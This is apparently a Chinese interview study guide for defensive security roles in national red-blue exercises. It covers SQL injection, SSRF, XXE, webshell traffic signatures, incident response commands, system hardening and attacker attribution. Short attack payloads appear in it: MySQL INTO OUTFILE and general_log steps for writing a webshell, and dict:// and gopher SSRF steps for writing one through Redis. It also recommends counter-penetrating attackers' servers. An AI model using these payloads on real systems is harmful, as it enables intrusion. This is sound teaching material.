1、投递简历-安全服务公司HR先筛选一下简历,交给技术负责人面试一下,推荐给安全厂商(360、奇安信、安恒、绿盟)
2、安全设备厂商HR筛选一下简历,安全设备厂商安排技术笔试和面试(技术负责人和项目负责人筛选和面试)。
3、面试通过,安全设备厂商安排项目地是甲方公司(如某银行,某证券公司等),甲方客户也有可能需要面试一下技术、查看健康码,有的甲方要求7天行程码在当地等。
1、护网面试岗位监控岗、研判岗、应急和溯源岗位等。分为初级、中级、高级岗位。
2、根据甲方需求,分为 3 组:监测组、处置组、应急保障和溯源反制组。
3、监测组主要监测设备,监控判断不出来告警,交给研判,若确认未成功的真实攻击,提交ip和告警截图给处置组封禁ip,若需要应急,需提交给处置单给应急人员;
4、处置组,封禁ip以及甲方自有人员自有设备处置;
5、应急保障和溯源反制组,应急拿到处置单,先和处置组建群沟通,根据处置单,提出处置建议,让处置组操作或者客户授权后操作;溯源根据提供的攻击ip和钓鱼邮件进行溯源和反制
直接访问IP,看看响应页面是否和访问的域名一样。
C段信息的收集的目的是获取与目标相关联的更多设备的信息(原理和旁站差不多)
方法:
原理与旁站,C段类似,主站攻不下,去搜索其子域名,可能防御没那么厉害。
常用八种请求方式,分别是 GET、POST、HEAD、PUT、DELETE、OPTIONS、TRACE、 CONNECT,get 和 post 最常用
1.联合注入
2.堆叠注入
3.宽字节注入
4.cookie注入
5.XFF头注入
6.UA注入(user-agent注入)
7.Referer注入
8.二次注入
9.base64注入
10.万能密码
1.文件读写
盲注类型:
1.基于时间的盲注 sleep() benchmark()
2.基于布尔的注入
3.基于报错的注入
updatexml() extractvalue() floor() exp()
使用参数化查询(也称为绑定参数或预编译语句)。参数化查询使用占位符(例如问号或冒号)来表示查询中的变量,然后通过参数绑定的方式将用户提供的数据与查询语句分开。这样可以防止用户输入被错误地解释为SQL代码。
过滤可以去除或转义输入中的特殊字符,以防止它们被错误地解释为SQL代码。可以使用正则表达式或内置的验证函数来验证输入数据,并使用转义函数或安全的编码机制来过滤特殊字符。
为应用程序连接数据库的账户分配最低限度的权限,只提供执行必要操作的权限。
对于从外部来源获取的数据(例如用户输入、API调用等),应该始终将其视为不可信任的,并进行适当的验证和处理。不要直接将外部数据拼接到SQL查询中,而是使用参数化查询或预编译语句。
遵循安全的编程实践,如不在应用程序中直接拼接SQL查询、避免动态拼接查询字符串、避免使用可执行字符串的函数等。
由于PHP utf-8编码 数据库GBK编码,PHP发送请求到mysql时经过一次gbk编码,因为GBK是双字节编码,所以我们提交的%df这个字符和转译的反斜杠组成了新的汉字,然后数据库处理的时候是根据GBK去处理的,然后单引号就逃逸了出来。
条件:
1、知道web绝对路径
2、有文件写入权限(一般情况只有ROOT用户有)
3、数据库开启了secure_file_priv设置
然后就能用select into outfile写入webshell
union select '' into outfile 'web目录';
分隔符写入
当union无法使用时,还可以利用分隔符写入:
?id=1 INTO OUTFILE '物理路径' lines terminated by ()#
?id=1 INTO OUTFILE '物理路径' fields terminated by ()#
?id=1 INTO OUTFILE '物理路径' columns terminated by ()#
?id=1 INTO OUTFILE '物理路径' lines starting by ()#
log写入
新版本的mysql在my.ini中设置了导出文件的路径,无法再使用select into outfile来写入一句话木马,这时我们可以通过修改MySQL的log文件来获取webshell。
show variables like '%general%'; #查看配置
set global general_log = on; #开启general log模式
set global general_log_file = '网站目录/shell.php'; #设置日志目录为shell地址
select '' #写入shell
set global general_log=off; #关闭general log模式
然后就可以在网站目录下创建一个shell.php,里边有我们写入的一句话木马
打开执行phpinfo
CSRF(Cross -Site Request Forgery ),跨站请求伪造攻击,通常缩写为CSRF或者XSRF , 是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户请求受信任的网站
主要通过两种协议,dict协议和gopher协议。
dict协议利用redis相关漏洞:
探测端口:
ssrf.php?url=dict://x.x.x.x: 端口 端口 端口 利用burpsuite爆破端口
探测是否设置弱口令:
ssrf.php?url=dict://x.x.x.x:6379/info 已知端口利用info探测是否设置了密码
爆破密码:
ssrf.php?url=dict://x.x.x.x:6379/auth: 密码 密码 密码 利用burpsuite爆破密码
写入webshell:
1. url=dict://xxx.xxx:6379/config:set:dir:/var/www/html 切换文件目录
2. url=dict://xxx.xxx:6379/config:set:dbfilename:webshell.php 设置保存文件名
3. url=dict://xxx.xxx:6379/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e" //利用dict协议写入webshell 以上的字符编码是的十六进制
4. url=dict://x.x.x.x:6379/save 保存
1. url=dict://xxx.xxx:6379/config:set:dir:/var/www/html 切换文件目录
2. url=dict://xxx.xxx:6379/config:set:dbfilename:webshell.php 设置保存文件名
3. url=dict://xxx.xxx:6379/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e"
//利用dict协议写入webshell 以上的字符编码是的十六进制
4.ssrf.php?url=dict://x.x.x.x:6379/save 保存
dict协议利用计划任务反弹shell或者写入ssh公钥的手段类似
gopher协议利用redis未授权访问漏洞写入webshell:
常规利用步骤:
set x “\n\n\n\n\n\n”
config set dir /var/www/html
config set dbfilename shell.php
save
两次url编码后构造url:
//第一次url解码和第二次url解码
//同理其他类似计划任务反弹和写入ssh公钥等getshell方式相似
如果Web应用的脚本代码没有限制XML引入外部实体,从而导致用户可以插入一个外部实体,并且其中的内容会被服务器端执行,插入的代码可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
(1)直接通过DTD外部实体声明
]>
(2)通过DTD文档引入外部DTD文档,再引入外部实体声明
dtd文档内容:
(3)通过DTD文档引入外部实体声明
%d;
]>
dtd文档内容:
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。
服务器在解析动态页面时,将用户提交的输入作为参数传递给后台处理程序,如果没有对用户输入进行充分的过滤和验证,攻击者可以通过构造特殊的输入,让服务器包含恶意文件或者代码,进而实现攻击目的。
PHP:Include()、Require()、Include_once()、Require_once()
简称RCE,指攻击者能够在远程系统上执行恶意代码的一种攻击方式。攻击者通常利用漏洞,将恶意代码注入到受攻击的应用程序或操作系统中,从而实现在远程系统上执行任意代码的目的.——能执行任意代码导致它的危害非常高。
注意:RCE不同于其他漏洞,它更多的表示一种结果,其他漏洞导致了RCE的结果。
在编程语言中,有一些执行函数可能会带来安全风险,因为它们允许执行动态代码或系统命令。以下是一些常见编程语言中的执行函数和对应的语言名称:
Python:
eval(): Python的内置函数,用于执行字符串中的Python代码。
exec(): Python的内置函数,用于执行包含Python代码的字符串或代码对象。
JavaScript:
eval(): JavaScript的全局函数,用于执行包含JavaScript代码的字符串。
PHP:
shell_exec()
eval(): PHP的函数,用于执行包含PHP代码的字符串。
exec(): PHP的函数,用于执行系统命令。
Java:
Runtime.exec(): Java的类方法,用于执行系统命令。
ProcessBuilder: Java的类,用于创建进程并执行系统命令。
C#:
Process.Start(): C#的方法,用于执行系统命令。
System.Diagnostics.Process: C#的类,用于创建进程并执行系统命令。
Ruby:
eval(): Ruby的方法,用于执行包含Ruby代码的字符串。
system(): Ruby的方法,用于执行系统命令。
Go:
os/exec 包: Go的标准库中的包,用于执行系统命令。
Shell 脚本:
eval: 用于执行包含 Shell 脚本代码的字符串。
$(): 用于执行命令并返回输出。
这些函数和方法在正确使用的情况下是有用的,但在接受用户输入或不充分验证的情况下,它们可能导致安全漏洞。因此,在编写代码时,务必小心使用这些执行函数,并始终对用户输入进行充分验证和过滤,以防止潜在的安全风险。
简介
CobaltStrike是一款渗透测试工具,被业界人称为CS。CobaltStrike分为客户端与服务端,服务端是一个,客户端可以有多个,可用于团队分布式协同操作。
功能
CobaltStrike 集成了端口转发,服务扫描,自动化溢出,多模式端口监听,windows exe 木 马生成,windows dll 木马生成,java 木马生成,office 宏病毒生成,木马捆绑。钓鱼攻击等功能。
使用
一般使用步骤就是,先启动服务端,然后启动客户端连接获得一个可视化的界面,新建监听器来接收会话,生成木马文件(常见.exe可执行文件,office宏病毒,html应用程序类型的后门文件),上传到受害者主机,当受害者运行该木马文件时目标主机就在CS上线了。
对比正常的http流量,CS的http通信流量具有以下几个特征:
A. 心跳包特征
a) 间隔一定时间,均有通信,且流级上的上下行数据长度固定;
B. 域名/IP特征
a) 未走CDN、域前置的,域名及IP暴露
b) 走CDN、域前置的,真实IP会被隐藏;
C. 指令特征
a) 下发指令时,通过心跳包接收指令,这时,server端返回的包更长,甚至包含要加载的dll模块数据。
b) 指令执行完后,client端通过POST请求发送执行的结果数据,body部分通过加密和base64编码。
c) 不同指令,执行的时间间隔不一样,可以通过POST请求和GET请求的间隔进行判断。
D. 数据特征
a) 在请求的返回包中,通信数据均隐藏在jqeury*.js中。
中国菜刀
连接过程中使用base64编码对发送的指令进行加密,其中两个关键payload z1 和 z2,名字都是可变的。
然后还有一段以QG开头,7J结尾的固定代码。
蚁剑
默认的user-agent请求头是antsword xxx,不过可以修改。
一般将payload进行分段,然后分别进行base64编码,一般具有像eval这样的关键字,然后呢大概率还有@ini_set(“display”,“0”);这段代码。
冰蝎
php代码中可能存在eval,assert等关键词,jsp代码中可能会有getclass(),getclassLoader()等字符特征。
冰蝎2.0
第一阶段请求中返回包的状态码是200,返回内容是16位的密钥。建立连接后的cookie格式都是Cookie:PHPSessid=xxxx ;path=/;特征。
冰蝎3.0
请求包中的conten-length字段是5740或者5720,然后请求头也具有特征信息,不过这个比较长,没有记住。
哥斯拉
1.jsp代码中可能会具有getclass,getclassLoader等关键字,payload使用base64编码等特征。php和asp则是普通的一句话木马。
2.在响应包的cache-control字段中有no-store,no-cache等特征。
3.所有请求中的cookie字段最后面都存在;特征。
1.建议用户通过ftp来上传、维护网页,尽量不安装asp的上传程序。
2.对asp上传程序的调用一定要进行身份认证,并只允许信任的人使用上传程序。
3.asp程序管理员的用户名和密码要有一定复杂性,不能过于简单,还要注意定期更换。
4.到正规网站下载程序,下载后要对数据库名称和存放路径进行修改,数据库名称要有一定复杂性。
5.要尽量保持程序是最新版本。
6.不要在网页上加注后台管理程序登陆页面的链接。
7.为防止程序有未知漏洞,可以在维护后删除后台管理程序的登陆页面,下次维护时再通过上传即可。
8.要时常备份数据库等重要文件。
9.日常要多维护,并注意空间中是否有来历不明的asp文件。
10.尽量关闭网站搜索功能,利用外部搜索工具,以防爆出数据。
11.利用白名单上传文件,不在白名单内的一律禁止上传,上传目录权限遵循最小权限原则。
用流量监测的安全设备,比如天眼,查看报文,分析报文里和 host 和网站目录路径,查看是否可疑,使用微步查询 host 是否为恶意,使用 wireshark 对数据包深度分析看一下请求的网站路径,源 IP 与目的 ip 地址,host 字段的值以及发包内容等。工具有 wearshark,网站的话微步在线。
扫描流量和手动流量的区别在于其产生的方式和行为特征,因此可以通过以下几种方法来查看区分它们:
总之,通过综合分析流量来源、访问规律、请求路径和参数以及响应状态码等特征,我们可以比较准确地区分扫描流量和手动流量,并采取相应的防御措施。
日志和流量分析是网络安全领域中常用的两种技术。它们都可以帮助安全人员更好地了解系统的状态,检测和预防威胁。
日志分析是指对服务器、应用程序等产生的日志进行收集、存储、分析和处理,以便了解系统的运行状况和发现异常事件。通过对日志数据的统计和分析,可以追踪用户活动、系统错误、安全事件等,以及发现潜在的风险和漏洞。比如,通过分析登录日志可以检测到恶意登录尝试;通过分析访问日志可以了解网站的被攻击情况。
流量分析是指对网络流量进行收集、存储、分析和处理,以便了解网络连接的状态,检测和预防网络攻击。通过对流量数据的统计和分析,可以追踪网络通信、检测威胁和漏洞,比如检测恶意流量、DDoS攻击等。流量分析通常需要使用专业的工具和技术,包括网络协议分析、流量捕获和分析软件等。
综上所述,日志和流量分析是网络安全中非常重要的技术,它们可以帮助安全人员发现和解决潜在的安全问题,并维护系统和网络的正常运行。
简单版:Linux入侵排查思路; 1账号安全,2历史命令,3检查异常端口,4检查异常进程,5检查开机启动项,6检查定时任务,7检查服务,8检查异常文件,9检查系统日志。
1 检查系统账号安全2.检查异常端口、进程3.检查启动项、计划任务、服务
4.日志分析
(1. 日志中搜索关键字:如:union,select等
2. 分析状态码:
1xx information
200 successful
300 redirection
4xx client error
5xx server error
查找可疑文件,webshell
分析文件修改日期
系统日志分析)
答:
可疑账号排查 lusrmgr.msc
1.检查服务器是否有弱口令。比如空口令或者密码复杂度不够。
2.高危端口是否对外开放,比如SSH服务22端口,RDP服务3389端口等。
3.查看服务器是否有可疑账号。
手工方面:lusrmgr.msc命令查看用户和组,查看是否有新增账号,隐藏账号,克隆账号。
工具方面:比如利用D盾等工具来检测隐藏账号。
4.结合日志分析 eventvwr.msc 查看管理员登录时间,相关事件是否有异常。
敏感事件ID:
4624 登录成功
4625 登录失败
4672 使用超级管理员进行登录
4720 创建用户
5.使用query user查看当前系统的会话,比如查看是否有人使用远程登录服务器。
可疑进程和服务排查 taskmgr services.msc
1.查看CPU,内存,网络等资源是否有可疑状况。比如CPU占用率过高可能是中了挖矿病毒,磁盘空间大量占用可能是脚本或病毒大量生成和复制隐藏文件。
2.检查进程名
某些进程名是大量随机的情况,比如hrlC3.tmp、hrlD5.tmp、hrl6.tmp、hrlEE.tmp等多个名字相似的进程,基本上可以断定是异常进程。
异常进程名伪装成系统进程或者说常见服务的进程名,此时可以通过进程描述来判断,并且需要手工对比。
3.检查进程和服务描述,修改时间或者数字签名是否有异常。
4.利用工具进行检测,比如Process Hunter或者火绒剑等专门针对进程服务信息的排查分析工具,主要查看的是公司名,描述,安全状态和启动类型等方面来排查。
可疑启动项排查 msconfig
msconfig或者任务管理器中的启动项查看名称,发布者和启动影响,以及右键查看属性来看数字签名和修改时间。
结合工具进行排查,比如火绒剑等工具,会将启动项分类为登录,驱动程序,计划任务,映像劫持等,利用分析排查
可疑文件排查
1.各个磁盘的Temp/tmp目录中是Windows产生的临时文件,查看有无异常文件。
2.Recent目录会记录最近打开的文档以及程序的相关记录。
3.查看文件的创建时间,修改时间和访问时间,比如说攻击者利用菜刀等工具对文件进行修改会改变修改时间,如果修改时间在创建时间之前,那就是很明显的可疑文件。
4.windows系统我的电脑快速访问,可以看到最近使用的文件,比如说图片或者压缩包等文件的使用历史和文件路径都会显示。
恶意样本排查
1.恶意样本指的一般是webshell,病毒,木马或者后门程序或文件,可以根据设备的告警信息来查找相关路径,再排查相关的进程和启动项。
2.不知道路径的话可以利用相关的安全设备来进行检测,比如说通过D盾,河马查杀等工具对webshell可能存在的目录进行一个排查查杀,利用常规的防火墙软件来对全盘或者可疑目录扫描病毒。
a.3389端口处于关闭状态
b.远程桌面默认端口号已被修改
c.防火墙拦截
d.处于内网环境
e.超过了服务器最大连接数
f.管理员设置了权限,指定用户才能通过3389端口进行远程桌面访问
1.检查系统账号安全
查看服务器是否有弱口令,远程管理端口是否对公网开放(使用netstat -ano命令、或者问服 务器管理员)
lusrmgr.msc命令查看服务器是否存在可疑账号、新增账号,如有管理员群组的 (Administrators)里的新增账户,如有,请立即禁用或删除掉
用 D 盾或者注册表中查看服务器是否存在隐藏账号、克隆账号
结合日志,查看管理员登录时间、用户名是否存在异常
检查方法:Win+R 打开运行,输入“eventvwr.msc”,回车运行,打开“事件查看器”, 导出 Windows 日志–安全,利用 Log Parser 进行分析
2.检查异常端口、进程
netstat -ano检查端口连接情况,是否有远程连接、可疑连接
任务管理器-进程
3.检查启动项、计划任务、服务
4.检查系统相关信息
查看系统版本以及补丁信息
查找可疑目录及文件
5.日志分析
先判断是通过什么方法注入的内存马,可以先查看 web 日志是否有可疑的 web 访问日志,如果是 filter 或者 listener 类型就会有大量 url 请求路径相同参数不同的,或者页面不存在但是返回 200 的,查看是否有类似哥斯拉、冰蝎相同的 url 请求,哥斯拉和冰蝎的内存马注入流量特征与普通 webshell 的流量特征基本吻合。通过查找返回 200 的 url 路径对比 web目录下是否真实存在文件,如不存在大概率为内存马。如在 web 日志中并未发现异常,可以排查是否为中间件漏洞导致代码执行注入内存马,排查中间件的 error.log 日志查看是否有可疑的报错,根据注入时间和方法根据业务使用的组件排查是否可能存在 java 代码执行漏洞以及是否存在过 webshell,排查框架漏洞,反序列化漏洞。
详细:
链接: link
linux 日志文件说明
日志默认存放位置:/var/log/
查看可登录的账户 cat/etc/passwd|grep ‘/bin/bash’
查看所有用户最后的登录信息 lastlog
查看用户最近登录信息 last 其中,/var/log/wtmp 存储登录成功的信息、btmp 存储登录失败的信息、utmp 存储当前正在登录的信息
查看当前用户登录系统情况 who
/var/log/message 系统启动后的信息和错误日志,是 Red Hat Linux 中最常用的日志之一
/var/log/secure 与安全相关的日志信息
/var/log/maillog 与邮件相关的日志信息
/var/log/cron 与定时任务相关的日志信息
/var/log/spooler 与 UUCP 和 news 设备相关的日志信息
/var/log/boot.log 守护进程启动和停止相关的日志消息
/var/log/wtmp 该日志文件永久记录每个用户登录、注销及系统的启动、停机的事件
普通的加固手段包括以下几种:
总之,以上这些普通的加固手段可以帮助提高系统的安全性和稳定性,并且也是网络安全基础建设的关键步骤。在实际操作中,需要根据具体情况和需求,结合其他安全措施来进行综合加固。同时需要注意及时更新和检查,以确保系统始终处于安全状态。
账户安全
windows
比如设置登录时不显示上次登录的用户名,防止弱口令爆破。
设置账户锁定策略,比如说登录行为限制次数,达到次数后锁定多长时间。
linux
禁用root之外的超级用户 使用password -l <用户名>命令来锁定用户 -u解锁
限制普通用户使用sudo提权,或者说限制提权的权限大小
锁定系统中多余的自建账号
设置账户锁定登录失败锁定次数,锁定时间 faillog -u <用户名>命令来解锁用户
口令安全
windows
设置密码必须符合复杂性要求,比如设置时数字,大写字母,小写字母,特殊字符都要具备
设置最小密码长度不能为0,设置不能使用历史密码
linux
检查shadow中空口令账号,修改口令复杂度,设置密码有效期vim /etc/login.def命令
服务与端口收敛
关闭或者限制常见的高危端口,比如说22端口(SSH),23端口(Telnet),3389端口(RDP)
compmgmt.msc排查计划任务
linux上iptables封禁IP或者限制端口
文件权限管理
linux上chmod修改文件权限 chattr重要文件设置不可修改权限
系统日志审计
linux上设置系统日志策略配置文件
系统日志 /var/log/message
cron日志/var/log/cron
安全日志/var/log/secure
设备和网络控制
比如在涉密计算机上禁止访问外网,为了避免用户绕过策略可以禁止用户修改IP
删除默认路由配置,避免利用默认路由探测网络
禁止使用USB设备比如U盘
禁止ping命令,即禁用ICMP协议访问,不让外部ping通服务器
被攻击后,日志文件和木马文件被删除会给排查工作带来很大的困难,但还是有一些方法可以尝试:
总之,在日志文件和木马文件被删除的情况下,需要采用其他方法来寻找攻击迹象和证据。同时,为了避免这种情况的发生,我们应该在系统中设置必要的日志轮转和备份策略,并加强安全防御工作,避免被攻击者入侵。
安全设备报警是指安全设备(例如入侵检测系统、防火墙、安全加固等)监测到的与安全相关的事件或活动达到了预先设定的规则和阈值,触发了警报通知。以下是一些处理安全设备报警的方法:
总之,在处理安全设备报警时,需要快速响应、分类优先、制定计划等步骤,以保障系统的安全性,并且需要持续地监测和优化安全防御策略。
1:账号安全
who 查看当前登录用户(tty本地登陆 pts远程登录)
w 查看系统信息,想知道某一时刻用户的行为
uptime 查看登陆多久、多少用户,负载
1、用户信息文件/etc/passwd
root❌0:0:root:/root:/bin/bash
account:password:UID:GID:GECOS:directory:shell
用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后shell
注意:无密码只允许本机登陆,远程不允许登陆
2、影子文件/etc/shadow
root: 6 6 6oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::
用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留
/etc/passwd 存储一般的用户信息,任何人都可以访问;/etc/shadow 存储用户的密码信息,只有 root 用户可以访问
通过 .bash_history 查看帐号执行过的系统命令
1、root的历史命令 histroy
2、打开 /home 各帐号目录下的 .bash_history,查看普通帐号的历史命令
历史操作命令的清除:history -c
但此命令并不会清除保存在文件中的记录,因此需要手动删除.bash_profile文件中的记录
3.检查异常端口
netstat -antlp|more
查看下pid所对应的进程文件路径,
运行ls -l /proc/ P I D / e x e 或 f i l e / p r o c / PID/exe或file /proc/ PID/exe或file/proc/PID/exe($PID 为对应的pid 号)
4.检查异常进程
ps aux | grep pid
5.检查开机自启动项
开机启动配置文件
/etc/rc.local
/etc/rc.d/rc[0~6].d
6.检查定时任务
crontab -l 列出某个用户cron服务的详细内容
Tips:默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/root
crontab -r 删除每个用户cront任务(谨慎:删除所有的计划任务)
crontab -e 使用编辑器编辑当前的crontab文件
如:/1 * * * * echo “hello world” >> /tmp/test.txt 每分钟写入文件
2、利用anacron实现异步定时任务调度
重点关注
/var/spool/cron/
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*
7.检查服务
chkconfig --list 命令,可以查看系统运行的服务
8.检查异常文件
9.检查系统日志
系统信息
查看当前系统状态 top
操作系统信息 uname -a
查看当前系统进程信息 ps
查看历史命令 history
列出本机所有的连接和监听的端口 netstat
查看谁在使用某个端口 lsof
用户登录
查看当前用户登录系统情况 who
分析超级权限账户 awk-F: ‘{if($3==0)print $1}’/etc/passwd
查看可登录的账户 cat/etc/passwd|grep ‘/bin/bash’
查看用户错误的登录信息 lastb
查看所有用户最后的登录信息 lastlog
查看用户最近登录信息 last
/var/log/ 其中,/var/log/wtmp 存储登录成功的信息、btmp存储登录失败的信息、 utmp存储当前正在登录的信息
查看空口令账户 awk-F: ‘length($2)==0 {print $1}’/etc/shadow
2、多余账户锁定策略
3、口令复杂度策略
4、口令最长生存期策略
5、安全日志完备性要求
6、统一远程日志服务器配置
7、防止入侵防范,关闭非必要的系统服务
8、禁止 Control-Alt-Delete 键盘关闭命令
1.攻击源捕获
安全设备报警,如扫描IP、威胁阻断、病毒木马、入侵事件等
日志与流量分析,异常的通讯流量、攻击源与攻击目标等
服务器资源异常,异常的文件、账号、进程、端口,启动项、计划任务和服务等
邮件钓鱼,获取恶意文件样本、钓鱼网站 URL 等
蜜罐系统,获取攻击者 ID、电脑信息、浏览器指纹、行为、意图的相关信息
2.溯源反制
IP 定位技术
根据IP定位物理地址–代理 IP
溯源案例:通过 IP 端口扫描,反向渗透服务器进行分析,最终定位到攻击者相关信息
ID 追踪术
ID 追踪术,搜索引擎、社交平台、技术论坛、社工库匹配
溯源案例:利用 ID 从技术论坛追溯邮箱,继续通过邮箱反追踪真实姓名,通过姓名找到相关简历信息
网站 url
域名 Whois 查询–注册人姓名、地址、电话和邮箱 --域名隐私保护
溯源案例:通过攻击 IP 历史解析记录/域名,对域名注册信息进行溯源分析
恶意样本分析
提取样本特征、用户名、ID、邮箱、C2 服务器等信息–同源分析
溯源案例:样本分析过程中,发现攻击者的个人 ID 和 QQ,成功定位到攻击者
社交账号
基于 JSONP 跨域,获取攻击者的主机信息、浏览器信息、真实 IP 及社交信息等
利用条件:可以找到相关社交网站的 jsonp 接口泄露敏感信息,相关网站登录未注销
3.攻击者画像
攻击路径
攻击目的:拿到权限、窃取数据、获取利益、DDOS 等
网络代理:代理 IP、跳板机、C2 服务器等
攻击手法:鱼叉式邮件钓鱼、Web渗透、水坑攻击、近源渗透、社会工程等
攻击者身份画像
虚拟身份:ID、昵称、网名
真实身份:姓名、物理位置
联系方式:手机号、qq/微信、邮箱
组织情况:单位名称、职位信息
a.蜜罐
b.对攻击目标进行反渗透(IP定位、IP端口扫描、Web站点渗透)
c.应用漏洞挖掘&利用(菜刀、Goby、Xray、蚁剑)
d.id->社交特征关联
e.钓鱼网站->后台扫描、XSS盲打
f.木马文件->同源样本关联->敏感字符串特征检测
钓鱼邮件是一种常见的网络针对性攻击手段,通常通过电子邮件发送虚假信息诱骗受害者提供个人敏感信息或进行非法行为。以下是几种发现和防御钓鱼邮件的方法:
总之,发现钓鱼邮件需要多加警惕和注意,在收到可疑邮件时,应该仔细查看邮件内容和相关信息,并尽可能采取措施避免被钓鱼攻击。
屏蔽办公区域对钓鱼邮件内容涉及站点、URL 访问
根据办公环境实际情况可以在上网行为管理、路由器、交换机上进行屏蔽
邮件内容涉及域名、IP 均都应该进行屏蔽
对访问钓鱼网站的内网 IP 进行记录,以便后续排查溯源可能的后果
屏蔽钓鱼邮件
屏蔽钓鱼邮件来源邮箱域名
屏蔽钓鱼邮件来源 IP
有条件的可以根据邮件内容进行屏蔽
删除还在邮件服务器未被客户端收取钓鱼邮件
处理接收到钓鱼邮件的用户
根据钓鱼邮件发件人进行日志回溯
此处除了需要排查有多少人接收到钓鱼邮件之外,还需要排查是否公司通讯录泄露。采用 TOP500 姓氏撞库发送钓鱼邮件的攻击方式相对后续防护较为简单。如果发现是使用公司通讯录顺序则需要根据通讯录的离职情况及新加入员工排查通讯录泄露时间。毕竟有针对性的社工库攻击威力要比 TOP100、TOP500 大很多
通知已接收钓鱼邮件的用户进行处理
删除钓鱼邮件
系统改密
全盘扫毒
后续:溯源、员工培训提升安全意识
发现途径如下:
邮件系统异常登录告警、员工上报、异常行为告警、邮件蜜饵告警
推荐接入微步或奇安信的情报数据。对邮件内容出现的 URL 做扫描,可以发现大量的异常链接
正向代理即是客户端代理, 代理客户端, 服务端不知道实际发起请求的客户端
反向代理即是服务端代理, 代理服务端, 客户端不知道实际提供服务的服务端
正向Shell:攻击者连接被攻击者机器,可用于攻击者处于内网,被攻击者处于公网的情况。
反向Shell:被攻击者主动连接攻击者,可用于攻击者处于外网,被攻击者处于内网的情况。
Java反序列化漏洞是指恶意用户通过发送精心构造的序列化数据并触发其反序列化过程,从而执行未经授权的代码或操作。攻击者可以利用此漏洞来执行远程命令、绕过应用程序的安全检查、窃取敏感信息等攻击。如果Java应用对用户输入(即不可信数据)做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的类或对象,这个类或对象在产生过程中就有可能带来任意代码执行。
Shiro是Apache下的一个开源Java安全框架,执行身份认证,授权,密码和会话管理。shiro在用户登录时除了账号密码外还提供了可传递选项remember me。用户在登录时如果勾选了remember me选项,那么在下一次登录时浏览器会携带cookie中的remember me字段发起请求,就不需要重新输入用户名和密码。
fastjson是阿里巴巴开发的一款将json字符串和java对象进行序列化和反序列化的开源json解析库。fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。
序列化:把对象转化为可传输的字节序列过程称为序列化。
反序列化:把字节序列还原为对象的过程称为反序列化。
序列化是指程序将对象转化为字节序列从而便于存储运输的一种方式,反序列化则与其相反,即将字节序列转化为对象供程序使用。程序在进行反序列化时会调用一些函数,比如常见的PHP 反序列化函数 unserialize()以及一些常见的魔术方法,比如构造函数_construct(),析构函数destruct() ,_wakeup(),toString(0) ,sleep0等等。如果这些函数在传递参数时没有进行严格的过滤措施,那么攻击者就可以构造恶意代码并将其序列化后传入函数中,从而导致反序列化漏洞
当服务器使用F5 LTM做负载均衡时,通过对set-cookie关键字的解码真实ip也可被获取,例如:Set-Cookie: BIGipServerpool_8.29_8030=487098378.24095.0000,先把第一小节的十进制数即487098378取出来,然后将其转为十六进制数1d08880a,接着从后至前,以此取四位数出来,也就是0a.88.08.1d,最后依次把他们转为十进制数10.136.8.29,也就是最后的ip。
未授权访问是系统对用户限制不全,或者无限制,可以让任意用户或者限制访问用户,访问到需要权限认证的地址。未授权访问通常是会泄露用户信息,系统信息。某些服务和系统中,未授权访问还可以执行系统命令,操作系统文件,导致系统的整体安全遭到破坏。
详细:链接: link
a.MongoDB未授权访问漏洞
b.Redis未授权访问漏洞
c.Memcached未授权访问漏洞
d.JBOSS未授权访问漏洞
e.VNC未授权访问漏洞
f.Docker未授权访问漏洞
g.ZooKeeper未授权访问漏洞
h.Rsync未授权访问漏洞
验证码相关的,例如重复利用,验证码无效等,越权漏洞等等
越权漏洞
密码修改
密码找回
验证码漏洞
支付漏洞
投票/积分/抽奖
短信轰炸
•IIS:PUT漏洞、短文件名猜解、远程代码执行、解析漏洞
•Apache:解析漏洞、目录遍历
•Nginx:文件解析、目录遍历、CRLF注入、目录穿越
•Tomcat:远程代码执行、war后门文件部署
•JBoss:反序列化漏洞、war后门文件部署
•WebLogic:反序列化漏洞、SSRF任意文件上传、war后门文件部署
•ApacheShiro反序列化漏洞:ShirorememberMe(Shiro-550)、ShiroPaddingOracleAttack(Shiro-721)
在请求包里面中发送恶意的 json 格式 payload,漏洞在处理 json 对象的时候, 没有对@type 字段进行过滤,从而导致攻击者可以传入恶意的 TemplatesImpl 类,而 这个类有一个字段就是_bytecodes,有部分函数会根据这个_bytecodes 生成 java 实例,这就达到 fastjson 通过字段传入一个类,再通过这个类被生成时执行构造函数。
hiro是Java平台上一个流行的安全框架,用于身份验证、授权和会话管理等功能。然而,Shiro也存在一些安全漏洞,攻击者可以利用这些漏洞来绕过身份验证、执行未授权操作或者获取敏感信息。以下是一些已知的Shiro漏洞:
这些漏洞都已经得到修复,建议使用Shiro的用户及时升级到最新版本,以修复这些安全漏洞。同时,还应该遵循以下最佳实践来加强Shiro的安全性:
总之,使用Shiro时,要保持关注安全漏洞的公告和修复,并采取适当的措施来加强Shiro的安全性,以确保应用程序的安全性和保护用户的敏感信息。
登陆失败时候会返回 rememberMe=deleteMe 字段或者使用 shiroScan 被动扫描去发现
